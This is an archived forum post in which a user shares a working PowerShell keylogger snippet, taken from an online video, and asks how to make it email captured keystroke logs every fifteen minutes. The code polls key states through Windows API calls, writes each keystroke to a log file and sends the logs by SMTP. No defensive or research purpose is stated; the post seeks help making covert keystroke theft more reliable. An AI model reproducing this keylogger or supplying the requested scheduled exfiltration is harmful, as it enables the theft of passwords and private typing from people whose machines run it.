cellardoom Posted September 23, 2021 Posted September 23, 2021 I'm working on a keylogger powershell script that I found online, (Cosmodium CS on YT), but I want the logs to be sent to an email address. It is successfully doing so, except the email is only sent on machine restart, or if I manually execute the c.cmd command. Any way to schedule it, some sort of simple while statement that will $smtp.sendEMAIL in fixed intervals, say every 15 mins or so of use.? Here's a snippet of the current code # set up API $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru # attempt to log keystrokes try { # loops keystroke detection while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { # use API to get key state $keystate = $API::GetAsyncKeyState($ascii) # use API to detect keystroke if ($keystate -eq -32767) { $null = [console]::CapsLock # map virtual key $mapKey = $API::MapVirtualKey($ascii, 3) # create a stringbuilder $keyboardState = New-Object Byte[] 256 $hideKeyboardState = $API::GetKeyboardState($keyboardState) $loggedchar = New-Object -TypeName System.Text.StringBuilder # translate virtual key if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) { # add logged key to file [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode) } } } } } # send logs if code fails finally { # send email $smtp.Send($email, $email, $subject, $logs); } } # run keylogger KeyLogger Any help is greatly appreciated!
Recommended Posts
Archived
This topic is now archived and is closed to further replies.